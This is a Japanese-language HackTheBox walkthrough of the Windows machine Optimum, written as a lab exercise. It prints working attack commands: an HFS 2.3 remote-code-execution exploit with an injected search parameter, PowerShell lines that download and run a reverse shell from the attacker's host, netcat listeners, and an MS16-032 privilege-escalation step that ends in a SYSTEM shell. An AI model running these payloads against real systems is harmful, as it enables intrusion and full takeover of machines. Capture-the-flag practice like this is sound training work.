【HackTheBox】Optimum WriteUp
はじめに
今回はWindows machine Optimumをやっていきます。シェルを複数利用しないといけない状況や、windowsの脆弱性探すのにsherlockを使用したりと楽しく取り組めました。
Enumeration
Nmapポートスキャン
nmap -sC -sV optimum.htb
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-14 02:28 EST
Nmap scan report for optimum.htb (10.129.9.158)
Host is up (0.18s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.62 seconds
HttpFileServerバージョン2.3があります。
ウェブサイト確認
ログインができるようです。
Searchsploitで脆弱性確認
HFS 2.3に脆弱性があるか確認します。
earchsploit HttpFileServer
----------------------- ---------------------------------
Exploit Title | Path
----------------------- ---------------------------------
Rejetto HttpFileServer | windows/webapps/49125.py
----------------------- ---------------------------------
Shellcodes: No Results
Remote Code Executionができるようです。
searchsploit -m 49125
でダウンロードします。
RCE
RCEでPingが使えるかを確認します。受け取るためにtcpdumpで待ち構えます。
以下で待ち構えます。
sudo tcpdump -i tun0 icmp
tcpdumpの後に以下を打ちます。
python3 49125.py optimum.htb 80 "ping.exe -n 1 10.10.14.9"
http://optimum.htb:80/?search=%00{.+exec|ping.exe%20-n%201%2010.10.14.9.}
結果
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
07:51:25.683344 IP optimum.htb > 10.10.14.9: ICMP echo request, id 1, seq 1, length 40
07:51:25.683364 IP 10.10.14.9 > optimum.htb: ICMP echo reply, id 1, seq 1, length 40
07:51:25.684157 IP optimum.htb > 10.10.14.9: ICMP echo request, id 1, seq 2, length 40
07:51:25.684165 IP 10.10.14.9 > optimum.htb: ICMP echo reply, id 1, seq 2, length 40
07:51:25.684170 IP optimum.htb > 10.10.14.9: ICMP echo request, id 1, seq 3, length 40
07:51:25.684172 IP 10.10.14.9 > optimum.htb: ICMP echo reply, id 1, seq 3, length 40
07:51:25.686484 IP optimum.htb > 10.10.14.9: ICMP echo request, id 1, seq 4, length 40
07:51:25.686490 IP 10.10.14.9 > optimum.htb: ICMP echo reply, id 1, seq 4, length 40
pingが働いていることがわかります。
Foothold
シェルの取得
Invoke-PowerShellTcp.ps1を使いリバースシェルを奪います。
Invoke-PowershellTcp -Reverse -IPAddress 10.10.14.9 -Port 4444
の行を追加します。
コードの利用
コードを実行するためのシェル、ファイルをアップロードするためのシェル、リバースシェルを待ち受けるためのシェルが必要になるのでひとつずつ説明します。
- コード実行
python3 49125.py optimum.htb 80 "powershell.exe iex(new-object net.webclient).downloadstring('http://10.10.14.9:8080/revshell.ps1')"
revshell.ps1という名前でInvoke-PowerShellTcp.ps1を保存しています。
-
revshellのアップロード
マシンにはrevshellがアップロードされていないので、ない状態で上記1のコードを実行しても何も起きません。なのでpython httpサーバを準備し、revshellをダウンロード可能な状態にします。
python3 -m http.server 8080
-
revshellの取得
最後にncでリッスンします。
nc -lvpn 4444
ユーザフラッグ
koastasのフラッグが取得できました。
PS C:\Users\kostas\Desktop> type user.txt
Privilege Escalation
Enumeration
特権昇格を行うために、マシン内での脆弱性を探します。探すために今回はsherlockを使います。
Sherlock.ps1
wget https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1
をkaliマシンにダウンロードします。
実際に中身を見てみるといろいろと脆弱性を調べる関数が書いてあることがわかります。
grep -i function Sherlock.ps1
function Get-FileVersionInfo ($FilePath) {
function Get-InstalledSoftware($SoftwareName) {
function Get-Architecture {
function Get-CPUCoreCount {
function New-ExploitTable {
function Set-ExploitTable ($MSBulletin, $VulnStatus) {
function Get-Results {
function Find-AllVulns {
function Find-MS10015 {
function Find-MS10092 {
function Find-MS13053 {
function Find-MS13081 {
function Find-MS14058 {
function Find-MS15051 {
function Find-MS15078 {
function Find-MS16016 {
function Find-MS16032 {
function Find-MS16034 {
function Find-CVE20177199 {
function Find-MS16135 {
全脆弱性を調べる
全部の脆弱性を調べたいので、新しく以下を追加します。
echo "Find-AllVulns" >> Sherlock.ps1
koastasからsherlock.ps1をダウンロードします。先ほどのpythonサーバを使います。
iex(new-object net.webclient).downloadstring('http://10.10.14.9:8080/Sherlock.ps1')
結果
Title : User Mode to Ring (KiTrap0D)
MSBulletin : MS10-015
CVEID : 2010-0232
Link : https://www.exploit-db.com/exploits/11199/
VulnStatus : Not supported on 64-bit systems
Title : Task Scheduler .XML
MSBulletin : MS10-092
CVEID : 2010-3338, 2010-3888
Link : https://www.exploit-db.com/exploits/19930/
VulnStatus : Not Vulnerable
Title : NTUserMessageCall Win32k Kernel Pool Overflow
MSBulletin : MS13-053
CVEID : 2013-1300
Link : https://www.exploit-db.com/exploits/33213/
VulnStatus : Not supported on 64-bit systems
Title : TrackPopupMenuEx Win32k NULL Page
MSBulletin : MS13-081
CVEID : 2013-3881
Link : https://www.exploit-db.com/exploits/31576/
VulnStatus : Not supported on 64-bit systems
Title : TrackPopupMenu Win32k Null Pointer Dereference
MSBulletin : MS14-058
CVEID : 2014-4113
Link : https://www.exploit-db.com/exploits/35101/
VulnStatus : Not Vulnerable
Title : ClientCopyImage Win32k
MSBulletin : MS15-051
CVEID : 2015-1701, 2015-2433
Link : https://www.exploit-db.com/exploits/37367/
VulnStatus : Not Vulnerable
Title : Font Driver Buffer Overflow
MSBulletin : MS15-078
CVEID : 2015-2426, 2015-2433
Link : https://www.exploit-db.com/exploits/38222/
VulnStatus : Not Vulnerable
Title : 'mrxdav.sys' WebDAV
MSBulletin : MS16-016
CVEID : 2016-0051
Link : https://www.exploit-db.com/exploits/40085/
VulnStatus : Not supported on 64-bit systems
Title : Secondary Logon Handle
MSBulletin : MS16-032
CVEID : 2016-0099
Link : https://www.exploit-db.com/exploits/39719/
VulnStatus : Appears Vulnerable
Title : Windows Kernel-Mode Drivers EoP
MSBulletin : MS16-034
CVEID : 2016-0093/94/95/96
Link : https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-034?
VulnStatus : Appears Vulnerable
Title : Win32k Elevation of Privilege
MSBulletin : MS16-135
CVEID : 2016-7255
Link : https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/Sample-Exploits/MS16-135
VulnStatus : Appears Vulnerable
Title : Nessus Agent 6.6.2 - 6.10.3
MSBulletin : N/A
CVEID : 2017-7199
Link : https://aspe1337.blogspot.co.uk/2017/04/writeup-of-cve-2017-7199.html
VulnStatus : Not Vulnerable
以下のexploit-dbがリンクされている脆弱性が気になるので、こちらを使います。
Title : Secondary Logon Handle
MSBulletin : MS16-032
CVEID : 2016-0099
Link : https://www.exploit-db.com/exploits/39719/
VulnStatus : Appears Vulnerable
Exploit
wgetでexploitに使用するコードを持ってきます。
wget https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-MS16032.ps1
Invoke-MS16032.ps1に新しく以下の行を追加します。
Invoke-MS16032 -Command "iex(New-Object Net.WebClient).DownloadString('http://10.10.14.9:8080/revshell.ps1')"
マシン上でダウンロードし実行します。
iex(new-object net.webclient).downloadstring('http://10.10.14.9:8080/Invoke-MS16032.ps1')
実行できませんでした。
PS C:\Users\kostas\Desktop> iex(new-object net.webclient).downloadstring('http://10.10.14.9:8080/Invoke-MS16032.ps1')
__ __ ___ ___ ___ ___ ___ ___
| V | _|_ | | _|___| |_ |_ |
| |_ |_| |_| . |___| | |_ | _|
|_|_|_|___|_____|___| |___|___|___|
[by b33f -> @FuzzySec]
[!] No valid thread handles were captured, exiting!
64ビットプロセスを確認します。
PS C:\Users\kostas\Desktop> [Environment]::Is64BitProcess
False
64ビットプロセスがtrueでなければいけないようなので、実行コードを少し変更します。
以下に64ビット、32ビットについていろいろ書いてあります。
python3 49125.py optimum.htb 80 "C:\WINDOWS\Sysnative\WindowsPowerShell\v1.0\powershell.exe iex(new-object net.webclient).downloadstring('http://10.10.14.9:8080/revshell.ps1')"
再度つなぎます。
nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.9] from (UNKNOWN) [10.129.9.158] 49201
Windows PowerShell running as user OPTIMUM$ on OPTIMUM
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Users\kostas\Desktop>whoami
nt authority\system
ルートflag
PS C:\Users\Administrator\Desktop> type root.txt
まとめ
個別のシェルで実行しないといけないものが多いので一連の流れをまとめます。
ユーザーシェルまで
- pythonサーバーを準備
- リバースシェル用ncを準備
- exploit用のコードを実行
- kostasユーザ取得
Kostasからroot
- kaliマシンにてSherlockをダウンロードします。
- KostasでkaliのpythonサーバからSherlockを持ってきて実行します。
- Sherlockにて脆弱性を発見したのでそれに該当するexploitコードをkaliマシンにダウンロードします。
- kaliマシンで新しくシェルを開き、ncでリッスンします。
- Kostasでpythonサーバからexploitコードを持ってきて、実行します。
- ncでrootシェルにつながります。
Discussion